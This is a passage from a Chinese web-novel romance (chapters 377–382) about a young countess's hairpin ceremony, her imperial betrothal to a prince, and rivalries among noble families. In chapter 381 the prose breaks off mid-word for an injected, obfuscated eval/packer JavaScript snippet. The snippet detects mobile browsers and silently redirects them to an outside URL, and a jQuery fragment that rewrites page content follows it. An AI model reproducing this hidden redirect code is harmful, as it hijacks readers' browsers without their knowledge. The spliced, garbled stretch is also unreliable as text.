这时,管家也按照老太傅的吩咐,从人牙子带来了丫鬟,等着让陆珮君挑选。
陆珮君便请长姐和衔蝉他们一块来帮她选人。
她相信,有她们在,她一定能把日子越过越好。
很快,陆珮君就把自己院子里的人全都换了一遍,陆老夫人安插的眼线全都被她拔除了。
袁氏见她行事这般激进,有些担忧,想开口劝解,却听到大女儿冷声道:“母亲,从今往后你遇上事若不知道该怎么办,称病就行。”
她顿时哽住了。
称病是什么意思?
“你若不敢面对祖母,不敢面对二婶,那就让珮君去。”陆璧君看着妹妹选人时果断的模样,心下已经有了计较。
妹妹已经长大了。
她比父亲和母亲都要靠谱得多。
袁氏小声反驳:“哪有父母健在就让女儿当家的。”
“你们若能支撑起来,哪里还需要珮君这么辛苦。还不是你们不争气。”陆璧君冷冷反驳。
陆珮君没有生气,她只是淡淡一笑。
“父亲母亲若不听我的,那我便找根绳上吊得了。到时候就让大姐告诉所有人,是你们逼死我的。”
袁氏顿时急了。
“你,你,你怎么能这样……”
陆璧君听到妹妹这话吓了一跳,扭头正欲劝她不要冲动,就看到她冲自己眨了眨眼睛。
她再扭头一看,就瞧见了母亲欲哭无泪的脸。
“行行行,听你的还不行么。”袁氏抹起了眼泪。
陆璧君顿时明白。
妹妹这是找到拿捏母亲的关窍了啊!
*
另一边。
陆玥君连药都来不及上,就被母亲领着去了摘星山庄。
手上的伤,都是在马车上处理的。
哪怕她有千般万般不愿,但也只能老老实实听话。
棠云婋正和娘亲研究晚上吃什么呢,就听到下人跑来通禀。
“郡主,夫人,陆二夫人和陆三小姐来了。”
第377章 他祖坟炸了
棠云婋早就料到了太傅府会来人,但没想到来的竟然是陆玥君母女。
她将人晾了片刻,这才施施然地起身去见她们。
陆玥君手疼得不行,又在这坐了半天的冷板凳,看到棠云婋便气不打一处来。
“你……”
她正准备开口,就被母亲扯着给棠云婋行礼。
“见过郡主。”
“嗯。”棠云婋点了点头,没有让他们重新坐下。
蒋氏只得硬着头皮开口:“郡主,今日之事,是小女口出狂言,举止无状,还望您原谅她。”
棠云婋惦记着阿娘要给她做的蜜炙烤肉,不耐烦地打断:“别废话,有事说事。”
蒋氏:“……”
呸!
果然是小门小户钻出来的,侥幸得了圣恩,就真当自己飞上枝头了?
连半点场面上的客套和礼数都不懂,粗鄙不堪,与那市井泼妇有何区别。
她心下暗骂,却不得不挤出一个得体的微笑:“郡主快人快语,那臣妇便直说了。”
“郡主今日与小女的约定,父亲已经知晓。”
“只是他老人家终究年事已高,精神不比往年,每十日便要授课一次,着实力不从心,恐辜负郡主期望,也难以为继。”
“故而,臣妇厚颜前来,恳请郡主体恤,能否将这指点之期改为一月一次?如此,父亲方能悉心教导,不负郡主所托。”
棠云婋早就猜到了会是这个结果,没有太惊讶。
十天就去叨扰太傅一回,人家肯定不乐意。
她故意把次数往多了说,其实就是跟大哥以前走镖时一个路数。
开价先往高了喊,留足余地让人砍,最后谈成的,才是心里早就算准的价。
再说了,国子监功课繁重,还要额外增加十日一篇文章,大哥怕是要叫苦连天。
如今一个月一次,正好。
棠云婋脸上没啥表情,吹了吹茶,嗯了一声:“行吧,太傅大人年纪大了也确实不容易,就照你们说的,改成一个月一次。”
说完直接把茶杯往桌上一搁,明摆着不想再多废话。
蒋氏没想到她竟然这么痛快的就答应了,准备了一肚子的话没来得及说。
她只能赶紧行礼:“多谢郡主体谅……”
棠云婋却没耐心听她啰嗦,直接扭头对旁边的双鲤甩了一句:“送客吧,本郡主还有事。”
双鲤立刻上前,礼数周到但语气没得商量:“陆二夫人、陆三小姐,这边请。”
蒋氏脸上顿时有些挂不住,只能扯出个干笑,拉着脸一阵红一阵白的陆玥君匆匆走了。
*
过了几日,眼看就要到棠云婋及笄的日子,衔蝉和九栀从太傅府回来了。
除了陆珮君将院子肃清,直接当家做了大房的主,气得陆老夫人病了,陆玥君被关在祠堂日日抄家规被气哭的消息。
她们还带回来另一个让棠云婋意想不到的消息。
“晏家的祖坟炸了?”
棠云婋满脸错愕。
难不成是老天爷看不过眼,觉得晏家作恶多端、人神共愤,索性一道雷劈了他们祖坟?
“千真万确。”九栀点头,语气里带着几分压不住的幸灾乐祸。
“就发生在昨夜雷雨最大的时候。今早一发现,消息就跟长了翅膀似的,传得满城皆知。”
“如今外头传得可邪乎了。有人说,昨夜一声巨响,雷火劈中了晏家祖坟的正碑,炸得一片狼藉,怕不是寻常天灾。”
“百姓们都说这是晏家缺德事做多了,连祖宗都镇不住,降下天罚了。”
九栀说着,嘴角不自觉地扬起。
晏家人那般算计羞辱她家郡主,如今遇上这等报应,她只觉得大快人心。
“不止如此。”衔蝉跟着接话。
“听说晏家长子晏明远的棺椁都被震碎了,骸骨崩了一地。暴雨冲得到处都是,胳膊挂在歪脖子树上,腿骨差点被野狗叼了去。”
“今早定远侯府派人去收殓,拼都拼不全一整副,简直惨不忍睹。”
“如今街头巷尾都在议论,说这是晏明远生前造孽太深,连老天爷都容不下他。”
棠云婋听着前边的觉得十分解气,听到后边,总觉得有几分古怪。
老天爷若是真的显灵了,那早就该把他们劈了。
怎么会等到如今。
她脑海里没由来想起了谢翊宁那日说的“死得那么简单,真是便宜他们了。”
这事该不会和他有关吧?
她正想着谢翊宁,外头就听到了双鲤的声音。
“见过王爷。”
她猛地站起了身子,出去接他。
“这回府上厨子做了透花糍,你尝尝。”谢翊宁笑着将食盒递了过去。
棠云婋打开一看,只见白玉般的瓷碟上整齐码着几块玲珑剔透的透花糍。
糯米皮子做得极薄,如凝脂一般泛着温润光泽,甚至能隐隐瞧见内里裹着的豆沙馅儿,上头还印着几朵好看的梅花。
她忍不住轻声赞叹:“做得这样精致,倒叫人舍不得下口了。”
谢翊宁摇了摇头:“做了就是让你吃的,你若喜欢,再让人做就是了。”
棠云婋命人送了一部分给母亲,而后拉着谢翊宁坐到身边,小声道:“我有事想问王爷。”
谢翊宁却不由分说的拿出一块透花糍递到了她嘴边。
棠云婋尝了一口,忍不住嘀咕:“每回你来山庄都给我带好吃的,我感觉我都吃胖了。”
谢翊宁单手托腮,眼睛亮晶晶地望着她把剩下的糕点吃完。
见她嘴角沾了点糖粉,他下意识伸手替她擦掉,语调十分骄傲:“才不胖呢,如今这样多好看呀!”
“我可跟你说,母后前两天还说我总算干点正事儿了。知道把你喂得圆润些,瞧着就讨喜。”
他最初见到棠云婋时可就发过誓,要让她一辈子吃好喝好,把她养得珠圆玉润,再给她找个好人家嫁了!
如今也算实现了当初的报恩誓言。
听他说这话,棠云婋有些不好意思。
怎么还传到皇后娘娘耳朵里去了。
她吃完一整个透花糍,眉眼弯弯地夸道:“王府的厨子真是手巧,这点心甜而不腻、入口即化。”
见她吃得满意,谢翊宁感觉比他自己吃到好吃的都开心。
“多谢王爷惦记着我,次次都带好吃的来。”棠云婋一边说一边递给他一方绣帕让他也擦擦手。
谢翊宁不接,把手伸到了她面前。
“那我总得有点奖励吧?”
棠云婋一愣,随后哭笑不得地亲自替他擦了手。
“这个奖励,王爷可还满意?”
她快擦完要收回手时,谢翊宁弯腰凑到了她的手背上亲了一口。
“这个奖励本王才满意。”
第378章 第一次接吻
棠云婋只觉得手背上被他亲过的地方微微发热。
随后那股热气蔓延全身,涌到了脸上,她感觉自己脸上热得几乎要冒出气来。
她慌忙抽回手,嗔怪地看了他一眼:“你别打岔,我刚刚说了有事要问你呢。”
谢翊宁笑眯眯道:“你要问什么?我定当知无不言言无不尽。”
棠云婋压低声音道:“晏家祖坟炸了的事情,是不是你干的?”
“是啊。”谢翊宁毫不犹豫,当场就承认了。
做了好事不留名,那可不是他的习惯。
他今日就是邀功来的。
棠云婋心底的猜测被验证了,她没想到谢翊宁会因为她说的那一番话就跑去做了这么一件惊天动地的大事。
她忍不住笑出了声。
痛快,实在是太痛快了。
晏家人一定万万想不到,他们死了都还会被翻出来鞭尸。
笑过之后,她忽然想到炸人祖坟这事到底太过惊世骇俗,就算谢翊宁是帝后最宠爱的孩子,若是被查出来也免不了要遭天下人的辱骂。
她脸上的笑意渐渐收敛,拽了拽他的袖子,声音里带上了真切的忧虑:“喂,你没留下什么痕迹吧?万一……”
谢翊宁瞧她一脸紧张,反而觉得有趣,顺手握住了她拽着自己袖子的手,反手捏了捏她的指尖,语气轻松。
“放心,动手的是有经验的人。查不到本王头上。”
他顿了顿,凑近她,眼里闪着狡黠的光:“就算有人疑心到我头上,谁有证据?本王和晏家人无冤无仇。”
“那就好。”棠云婋知道他不是那种莽撞的人,他敢动手,自然就留了后手。
她也是关心则乱了。
这时,外边忽然传来了衔蝉的声音。
“小姐,夫人请您去一趟。夫人想问,及笄礼上赞者的人选,您可选好了?”
棠云婋吓得赶紧把手从谢翊宁手里抽了出来。
谢翊宁一脸幽怨地看着她:“屋子里又没别人。”
棠云婋有些尴尬地摸了摸鼻尖。
她一听到阿娘就下意识地抽回手了嘛。
“真想快点成婚。”谢翊宁闷闷不乐地趴在了桌上。
到时候他牵他的王妃,名正言顺。
看谁还能说闲话。
看着他这副闷闷不乐趴在桌上的模样,棠云婋心里蓦地一软,那点尴尬瞬间化成了又甜又酸的怜惜。
“知道了,等会儿我就过去。”棠云婋应了一声。
她飞快地瞟了眼门口,确认衔蝉已经走远,双鲤和九栀也在打瞌睡,然后做贼似的靠近了谢翊宁。
或许,亲亲他,他会开心一些?
“喂……”她小声叫他,想哄他一下。
谢翊宁没精打采地“嗯?”了一声,下意识地转过头来看她。
就在他转头的瞬间,棠云婋正好俯身凑近,原本瞄准他侧脸的亲吻,不偏不倚,稳稳地落在了他的嘴唇上。
!!!
唇上传来的柔软而陌生的触感。
两人同时惊得睁大了眼睛,近在咫尺的瞳孔里清晰倒映着对方震惊无措的模样。
这股酥酥麻麻的感觉瞬间窜遍全身,激起一阵阵令人无措的战栗。
棠云婋最先反应过来,像被烫到一样猛地直起身子,整张脸连同耳朵脖子“腾”地一下全烧红了。
“我、我……我不是……是阿娘叫我我得走了!”
她语无伦次,根本不敢再看谢翊宁一眼,慌不择路地转身就跑,眨眼就冲出了房门,消失在回廊尽头。
谢翊宁身体僵硬得如同被施了定身咒,还维持着先前半趴半转头的别扭姿势。
他伸出手指下意识地轻轻碰了碰自己的嘴唇。
半晌,一种难以置信的、巨大的狂喜一点点爬上他的眼角眉梢。
他猛地将发烫的脸埋进臂弯里,却终究没忍住,低低地笑出声来,肩膀都笑得一抖一抖。
今日来这一趟,值了。
*
棠云婋见到娘亲时,脸上的红热还未退去。
方青鸾看了女儿一眼,伸手探了一下她的脑门,皱眉道:“可有哪里不适?脸怎么那么红那么烫。”
她不说还好,她一说棠云婋就有些心虚。
她连忙摇头:“没,我,我好着呢,我这是跑太快,所以热的。”
“你这孩子,急什么呀。只是想让你来确认一下,及笄礼的赞者你想好要请谁了么。”方青鸾没有怀疑女儿的话。
她一颗心全扑在及笄礼上了。
一辈子只有一次,及笄礼绝对不能出岔子,她不能让女儿留有任何遗憾。
而且这是她举办的第一场大型宴会,她必须要把它办得漂漂亮亮,让众人都知道,棠家的当家主母不是无知的山野村妇。
赞者一般是好友或者姐妹,棠云婋没有亲姐妹,于是她第一时间想到的是裴芜。
所以她一回京就给裴芜递了帖子,裴芜高兴的答应了。
她把这事告诉了母亲。
方青鸾点点头:“有人选了就好,那正宾就请烈国公夫人担任。有司的话就让衔蝉来吧,她向来稳重。”
棠云婋对此没有任何疑义。
及笄礼流程繁琐复杂,包括迎宾、就位、开礼、笄者就位、宾盥、初加、一拜、二加、二拜、三加、三拜、置醴、醮子、字笄者、聆训、揖谢……
一步一步都得有靠得住的人来。
烈国公夫人德高望重,让她来当正宾再好不过。
裴芜身为好友,她来当赞者,全程陪伴她。
衔蝉是王府出来的人,规矩仪态比寻常小户人家的小姐还要强上几分,行事最是稳重妥帖,她当有司全程掌持一切,棠云婋很放心。
但她们万万没想到,烈国公夫人婉拒了在棠云婋及笄礼上担任正宾的邀请,反而推荐了昭阳长公主给她当正宾。
母女二人都十分惊讶与不解。
烈国公夫人乃是棠云婋的干娘,素来待她如亲生女儿般疼爱,加之其一品诰命夫人的尊贵身份,本是再合适不过的人选。
“嫂子怎么会拒绝呢?”方青鸾十分不解。
棠云婋一开始也想不通,但听到烈国公夫人推荐了昭阳长公主,略一思索,就明白了。
第379章 嫁人更加累
正宾除了德高望重,最好还是福泽深厚、圆满无缺之人。
烈国公府门第显赫,夫妻也算和睦,可与子女的缘分却浅。
尉迟敦是个痴儿,尉迟晞又早逝。
烈国公夫人定然是想到这一点,生怕她以后也像她那样,所以才婉拒了。
反观昭阳长公主,身份地位都很尊贵,儿女双全,与驸马也恩爱有加。
让她来当正宾,倒是再合适不过了。
棠云婋将自己的猜测告诉了娘亲。
方青鸾听得眉头一皱。陷入沉思。
昭阳长公主的确是万中挑一的完美人选。
身为母亲,她自然盼着女儿的及笄礼处处圆满。
可一想到烈国公夫人对女儿的疼宠与照拂,方青鸾又觉得不能为了这个猜测就放弃了人家。
她决定再去找烈国公夫人好好说道说道,若她真的不愿,那再请昭阳长公主不迟。
翌日,方青鸾便递了帖子登门拜访。
烈国公夫人听闻方青鸾来意,感激地握住她的手,语气却异常坚定:“阿鸾,你的心意我岂能不知?正是因为我将婋婋视若己出,才万万不能担此重任。”
她眼中泛起泪光。
“我这一生,唯一的缺憾便是没护住自己的孩子。及笄礼是姑娘家一生一次的祈福大礼,正宾的福运与孩儿往后的命数息息相关。我这般、这般福薄之人,怎能将一丝一毫的不吉带给她?”
见她心意已决,方青鸾只得不再相劝。
“那昭阳长公主那边……”
她话还没说完,烈国公夫人就轻轻拍了拍她的手:“放心吧,此事我会替你办好的。”
果然,昭阳长公主收到烈国公夫人的邀请,爽快地答应了下来。
在及笄礼开始前两日,她们得先把流程都走一遍,免得及笄礼当日出岔子。
嘉敏郡主得知母亲要给棠云婋当正宾,便也跟着一块去了摘星山庄。
看到棠云婋,她“哼”了一声。
“你上回说会去公主府找我玩,根本就没去。”
棠云婋顿时有些尴尬。
她确实失约了。
毕竟那会儿她忙着杀驸马,杀完驸马又得应付太后,没有一刻能松懈的。
后来又找到了兄长,要回青州寻亲。
这一来一回,早把要去找嘉敏郡主的事情给忘了。
“我说的是有空嘛,但我太忙了。还望嘉敏郡主不要生我的气。”棠云婋赶紧道歉。
毕竟确实是她失约在先。
“行了行了,本郡主又不是那等小气之人。日后你唤我嘉敏就好。”嘉敏郡主摆了摆手,不以为意。
没过多久,裴芜也到了。
她一迈进院子,瞧见棠云婋,眼睛瞬间亮了起来,几乎要按捺不住扑过去说悄悄话的冲动。
可目光一转,瞥见一旁坐着饮茶的昭阳长公主和嘉敏郡主,那点雀跃立刻被规规矩矩地压了下去。
她赶忙收敛神色,步履放缓,端端正正地行至近前,一丝不苟地屈膝行礼,声音清脆又不失稳重:“见过长公主殿下,见过郡主。”
礼数周全后,她才悄悄冲棠云婋眨了眨眼,站到了好友身边。
排练正式开始。
赞者需引导、协助笄者,每一个步骤都需精准合拍。
裴芜虽性子活泼,此刻却全神贯注,扶着棠云婋转身、递送器物、低声提醒下一步动作,做得一丝不乱。
只是那繁复的流程,一次次的起身、揖拜、入东房、更换一套比一套厚重的礼服与发饰,直把棠云婋折腾得够呛。
她只觉得自己像个提线木偶,厚重的礼服一层层裹上身,头上的发钗与假髻也越来越沉,压得她颈子发酸。
好不容易将所有流程走完,她只觉得浑身骨架都快散开,比练了一整天剑还要累上几分。
忙完这一切,一旁的烈国公夫人和方青鸾赶忙将昭阳长公主母女请去用些茶点。
她们一走,棠云婋便立刻软绵绵地靠在了裴芜身上。
“老天爷呀,这及笄礼比我想象的累好多。我现在只盼着那天快快到来,又盼着它赶紧结束,好让我回去大睡三天!”
裴芜捂着嘴笑了起来,揶揄道:“日后你要嫁人,还得再累一回呢。”
棠云婋听到这话顿时一个头两个大。
她与永安王的婚事,肯定会比及笄礼更加复杂繁琐,到时候怕是比这不知道要累多少倍。
*
明日便是棠云婋的及笄礼。
京城里有头有脸的人家都收到了邀请函。
苏家也不例外。
苏长青看着女儿,语重心长道:“棠家人帮了永安王不少忙,明日令嘉郡主及笄,永安王一定会去。上回马场没成功,这回可不许再失败了。”
苏如嫣嗫嚅着唇想要反驳,但最后还是乖乖地点了点头。
她知道,她说什么爹爹都不会信的。
上回在蒸云坡马场,她已经看出来了。
陆三小姐对永安王有意,她根本争不过她。
更别提还有令嘉郡主了。
永安王看着令嘉郡主的神情,明显与旁人不同。
她真的要争吗?
她恍惚地回了屋子,就看到了等着她的苏如婧。
“明日令嘉郡主的及笄礼,大姐姐能带我一起去吗?”
听到这话,苏如嫣神色复杂地看了堂妹一眼,最终还是点头答应了。
*
摘星山庄。
棠家父子三人提前从国子监请了一天的假回来,毕竟明日就是棠云婋的及笄礼了。
他们绝对不能错过。
得知棠云婋给他们请了太傅这个辅导老师。
棠云麒两眼一黑,整个人有气无力地倒下了。
一旁的棠云麟则是兴奋不已。
“太好了!”棠云麟忍不住脱口而出。
他正发愁国子监的课业太少,学生太多,他也不好霸占着一个老师可劲问。
如今有了太傅私人授课,他当即决定要把最近没弄懂的问题,全都记在本子上,下回去太傅府,除了让太傅批阅文章,还要把这些都请他答疑解惑一遍。
棠云麒:“……”
人与人的悲欢并不相通。
他光是做完国子监的课业就已经费尽了力气,别提还要额外加功课了。
棠云麒有气无力地挣扎道:“我以后是要考武举的。太傅教的都是文举那些经史子集,兵策武经他定然不擅长吧?我能不能不去。”
棠风陵可不惯着儿子,当即反驳道:“武举难道只考拉弓舞刀吗?策问一场,考的便是兵法谋略、排兵布阵。你若不通文墨,看不懂舆图,写不出对策,只怕文试时要名落孙山了。
棠云麒梗着脖子辩解:“……那不是还有烈国公么。”
“他老人家是真真正正在战场上厮杀过的!排兵布阵、刀马功夫,哪样不是实打实的经验?这不比太傅讲什么圣人之言更管用?”
他一想到太傅就发怵。
他还是比较喜欢和蔼可亲的烈国公。
棠风陵一时间竟然被他给反问住了。
烈国公倒是少有的文武双全的将军。
“那也不能浪费了婋婋给你们争来的机会。”一旁的方青鸾接话。
“让你爹写,你爹写了你拿去问,回头把太傅讲了什么,一字一句告诉你爹。”
棠云麒:“???”
横竖就是逃不过这一劫了呗。
棠风陵倒是觉得这个主意不错,他巴不得有人多帮他提提意见,果断拍板同意了。
第380章 赐婚永安王
翌日,棠云婋期盼已久的及笄礼终于到来。
但一大早,她就收到了一个坏消息。
“阿芜身子不适,来不了了?”棠云婋皱起了眉头。
裴芜的丫鬟哽咽地跪地磕头:“郡主恕罪,我家小姐昨个半夜起忽然发热,身上起了许多红疹子。”
方青鸾听到这话脸色一变,顿时急了起来。
“及笄礼的章程早已定下,宾客也都到了,临时少了赞者,岂不是乱了礼数。”
棠云婋握住了娘亲的手安抚道:“阿娘,莫急。总会有办法解决的。”
好端端的,裴芜怎么会身上忽然起红疹子?
但现在不是想这件事的时候,她扭头看向了一旁的衔蝉。
“嘉敏郡主那日陪着我们一起走过全流程,她应该还记得。衔蝉……”
“奴婢这就去。”衔蝉明白她的意思,转身就去请人。
“对对对,还有嘉敏郡主。”方青鸾连连点头,紧绷的神色总算放松了些许。
嘉敏郡主与婋婋关系也不错。
只是不知道这般突然,她会不会答应?
棠云婋看着跪在地上的丫鬟,沉声道:“你告诉阿芜,好好养病。有什么事,之后再说。”
“多谢郡主开恩。”丫鬟喜极而泣,连连磕头。
她指着另一个丫鬟手里捧着的沉甸甸的紫檀木匣道:“郡主,这是我家小姐精心为您准备的及笄贺礼,嘱托奴婢一定……”
话还没说完,就听外间忽然传来一阵急促的脚步声,管事嬷嬷的声音穿透门廊而来。
“夫人!郡主!太子妃鸾驾到了,说是亲自来为郡主贺及笄之喜。”
方青鸾听到愣在了原地,她只猜到了今日会有赐婚旨意,但没想到太子妃会来呀。
棠云婋倒没有多惊讶。
她只是略一细想就猜到了这是谁的手笔。
先前因裴芜失约而生出的那一点小小不快与忧虑,顷刻间烟消云散。
棠云婋唇角不自觉扬起,眼底漾开一抹甜意。
王爷当真是把她放在了心尖上,竟然请了太子妃来替她撑场面。
这下,未来十年内,恐怕再没有哪家贵女的及笄礼,能胜过她今日的风光了。
一时间,厅内原本言笑晏晏的宾客们也骤然安静下来,面面相觑,眼中尽是难以置信。
几位站在近处的年轻贵女不约而同地敛了笑容,下意识地整理了一下衣襟鬓发。
她们交换着震惊又艳羡的眼神,窃窃私语了起来。
“我没听错吧?太子妃殿下竟亲自来了?”
“除了皇室宗亲,何曾见过太子妃为哪位千金的及笄礼出过东宫?”
“令嘉郡主这脸面可真真是独一份了!”
棠云婋亲自出门迎接了太子妃,将她请到了昭明长公主母女身边坐下。
众人还没在太子妃亲临的震惊中回过神,门外又响起了一阵喧哗声。
这一次,来的竟是皇后宫中那位素有威名的掌事太监。
“皇后娘娘凤谕到——!”
棠云婋不敢怠慢,赶忙疾步走至厅堂中央,端端正正跪下接旨。
满厅宾客也跟着哗啦啦起身,垂手躬身,屏息凝神,偌大的厅堂立刻鸦雀无声。
“皇后娘娘听闻令嘉郡主今日及笄,心中甚是喜悦。特赐下赤金镶嵌红宝石头面一套、明珠十斛、云锦二十匹,恭贺郡主芳辰,愿其慧质兰心,华彩永驻!”
这厚重的赏赐让不少宾客暗暗倒吸一口凉气。
几位老夫人忍不住用眼神交流了起来。
“咋回事?”
“不知道啊。”
“皇后此举是何意思?”
“怕是有大事要发生。”
……
皇后从未对外姓贵女有如此厚重的赏赐。
众人都忍不住在心底猜测,令嘉郡主究竟做了什么,竟然得了她的厚爱?
掌事太监宣布完了这道旨意,又慢条斯理地从身后随侍的小太监手中,请过另一卷更为精致的明黄卷轴。
所有人呼吸都屏住了,心头都不约而同地掠过同一个念头:还有赏赐?
掌事太监打开圣旨,笑容愈发灿烂了。
“皇上也有一道旨意,令嘉郡主,接旨吧。”
“臣女接旨。”棠云婋规规矩矩地回应。
掌事太监朗声道:“……令嘉郡主温良敦厚,性秉柔嘉,德容兼备,恪娴内则,品貌出众,与永安王实乃天作之合。特此赐婚,授封其为永安王妃!”
“待及笄礼成,由钦天监择选吉日,再行大婚之礼……”
在场的人全都傻眼了。
令嘉郡主竟然成了永安王妃?
这时有聪明的人顿时咂摸过味来。
太子妃亲至、皇后的赏赐,一切都有迹可循。
原来,这位令嘉郡主竟然是未来的永安王妃,那就不奇怪了。
苏如嫣听完这个消息,手中的团扇“啪嗒”掉落在地,她自己都浑然不觉。
父亲还想让她争永安王妃的位置,可如今皇后娘娘已经赐婚,她、她还怎么去争。
一旁的苏如婧也傻眼了。
有种自己还没出招,结果尘埃落定了的无力感。
但她转念一想,又安慰自己起码永安王妃不是陆玥君。
若是陆玥君那个不能容人的,她就算侥幸成了永安王的侧妃,怕是也会过得很凄惨。
这位令嘉郡主那日在马场对惊马的陆二小姐出手,显然是个宽和大度的。
她若为正妃,或许自己能争得一席之地?
棠云婋领完旨,立马就被一群丫鬟嬷嬷簇拥着送回了厢房。
“快快快!吉时眼看就要到了,前头宾客都等着呢,可误不得礼!”
池嬷嬷的声音又急又亮,指挥着屋内的丫鬟。
厢房里人影纷乱,却忙而不乱。
最后一道胭脂匀上脸颊,礼服装点妥当,镜中的少女眉宇间透出从未有过的明丽与庄重。
外头笙乐声隐隐传来,赞礼官悠长的通传声穿透门窗。
“吉时已到,请笄者出堂!”
第381章 本王技术好
嘉敏郡主搀扶着棠云婋,凑到她耳边小声道:“你可别忘了答应本郡主的事啊。我给你当赞者,你欠我一个人情。”
聪明人的人情可不好要。
如今棠云婋主动送给她人情,那她当然是不要白不要啦~
“放心吧,我一诺千金,绝不会不会出尔反尔。”棠云婋压低了声音回答。
她一步一步,按照着那日走过的流程,没有出任何岔子。
整套流程行云流水,环环相扣。
这场繁琐辛苦的及笄礼,在中午的时候结束了。
棠云婋陪着娘亲与今日到来的宾客进行应酬,方青鸾胳膊绷得笔直。
她半年前还是码头上扛大包的民妇,三个月前还在山上捉兔子。
她从未想过有一天会和这么多穿金戴银、身份高贵的夫人们打交道。
待会不会出什么岔子吧?
方青鸾不由得有些紧张了起来。
毕竟那些繁琐至极的礼仪规矩,都是回京这短短时日里,她靠着死记硬背记下的。
根本无法做到像烈国公夫人那样自然。
察觉到她的不安,棠云婋压低声音道:“阿娘,您在长公主面前都没出任何差错,这些人可比不得长公主厉害。”
“您肯定没问题的。先前您应对太子妃不就做得很好么。”
听到女儿这话,方青鸾松了一口气。
也是,在太子妃和昭明长公主面前她都没出差错,何况其他人面前。
想到这,她脸上端起了得体的笑,努力回想着池嬷嬷和花嬷嬷耳提面命的那些规矩,与在场的夫人们周旋了起来。
遇到听不懂的诗文典故或者是京城里的趣事,她便微微垂下眼,露出一抹含蓄的笑,随后端起茶盏喝茶,不参与他们的讨论。
若是偶然聊到些她熟知的话题,她便抬起眼,接上几句。
虽然没有什么文采,但好在朴实诚恳。
这一趟下来,让不少带着几分看热闹心思的人暗暗惊讶。
不是说令嘉郡主的生母是个长在山野、不识礼数的粗鄙猎户么?
今日一见,虽谈不上多么八面玲珑,但行止有度,眼神清正,言谈间自有一股落落大方的气度,全然不似她们想象中那般畏畏缩缩,上不得台面。
看来,传闻终究是传闻,做不得真。
好不容易送走了这些宾客,棠云婋火急火燎地回屋将满头的珠钗和厚重的礼服卸掉。
换上平日里那身轻便的素雅衣裙,她长长舒了一口气,这才感觉整个人活了过来。
“真是累死个人……”她小声嘟囔着。
双鲤赶忙过来替她揉了揉发酸的肩膀。
就在这时,窗棂忽然传来几声极轻又有规律的敲击声。
嗒,嗒嗒,嗒。
正是她和谢翊宁约定好的暗号。
棠云婋眼眸倏地一亮,所有的疲惫瞬间一扫而空。
她轻咳一声:“双鲤,我自己歇一会,你去外边守着吧。”
“好。”双鲤没有犹豫,退了出去。
她一离开,棠云婋快步扑到窗前,猛地推开窗扇。
她惦记了一整天的谢翊宁,正站在窗外眉眼含笑地望着她。
“进来吧。”她赶紧侧身招呼谢翊宁进来。
谢翊宁也没想到自己有了名分,结果还是得这么偷偷摸摸。
但没辙,他光明正大出现在这里,于礼不合。
进屋之后,他反客为主,给棠云婋倒了一杯茶,接替了双鲤的活计。
他走到棠云婋身后替她揉起了肩。
棠云婋一惊,按住了他的手,想让他坐下。
谢翊宁却拒绝了:“你放心,本王技术好着呢。我替父皇母后都按了十几年,经验丰富着呢。”
他弯腰凑到棠云婋耳边,笑眯眯道:“保管让郡主大人满意~~~”
棠云婋被他呼出的热气弄得涨红了脸。
她赶忙道:“那不一样,你堂堂一个亲王,替我揉肩不合适。”
“替你揉肩不合适,难道偷偷摸摸进你屋子就合适了?”谢翊宁有些幽怨。
他现在每天睡醒第一件事就是后悔。
后悔怎么不听母后的早点成婚。
这样每天就能抱着婋婋从床上醒来,而不是一睁眼就是雪团儿的大尾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225090|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴!
棠云婋:“……”
好吧。
王爷说得没错,他们现在这么见面也确实不合规矩。
“再说了,本王替自己未来的王妃按按肩怎么了,不替王妃按,难道还替那些多嘴的人按不成?”谢翊宁哼了一声。
随后又换上了一副谄媚的语气。
“郡主,这个力道您可还满意?”
棠云婋被他这语气逗笑了。
于是配合着他将手上的镯子摘了下来,故作正经道:“嗯,不错,你好好按,按好了本郡主重重有赏。”
说完自己又觉得好笑,忍不住趴到桌上笑。
谢翊宁见她笑,心情好极了。
按了一会儿,棠云婋觉得自己的肩膀松快多了,便制止了他,拉着他坐下,说起了今日的事情。
“你今日没来不知道……”
她刚一开口,就被谢翊宁打断了。
“我来了。”
“嗯?”棠云婋歪着脑袋看向他。
谢翊宁唇角勾起了一抹温柔的笑:“我一直看着你呢,从赐婚开始,到你穿着彩衣走出来,三加钗冠,一步都没错过。”
这可是她人生中最重要的日子之一,他怎么可能真的缺席。
“可我都没看见你!”她小声**,嘴角却忍不住弯起来。
谢翊宁眨了眨眼,露出一抹狡黠的笑:“我要是大摇大摆往那儿一站,这及笄礼还办不办了?怕是所有宾客都得围着我转悠,那时候,谁还看得见我们婋婋有多好看?”
“所以嘛,我就躲在庄子西边那座小阁楼的窗边,偷偷瞧完了全程。”
他略顿一顿,声音放得更轻了些,抬手顺势揉了揉她的发顶。
“你走出来的时候,我都看呆了。”
“我们婋婋呀,已出落得亭亭玉立,如海棠初绽一般,是真真正正的大姑娘了。”
棠云婋觉得自己大约是醉了。
许是永安王的声音太过醉人,又或者是及笄礼上的酒后劲太足。
不然她脑海里怎么会冒出那样胆大包天的念头。
——好想再尝尝永安王的唇是什么滋味。
第382章 觊觎他的人
谢翊宁见她迟迟没有说话,只是直直地盯着自己的唇。
难道是他嘴上沾了什么东西?
他下意识地伸手摸了摸嘴唇,却什么都没有摸到。
瞧见他的举动和疑惑的眼神,棠云婋猛地回神,耳根唰地红了。
她刚刚在胡思乱想什么啊。
她深吸一口气,移开了目光。
眼神落在今日裴芜命人送来的及笄礼上,赶忙转移话题。
“阿芜今日送的礼物,我还没来得及看呢。”
她一边说一边打开锦盒。
盒子一开,金光差点晃花了她的眼。
层层软绸里躺着一整套赤金头面,累丝蝴蝶颤巍巍停在明珠上,鬓钗镯佩一应俱全,做工精绝。
棠云婋愣在了原地。
“阿芜这也太破费了吧?”
裴芜待她,未免好得也太过头了些,竟然送了她这样贵重的礼物。
日后该回赠她点什么才好呢?
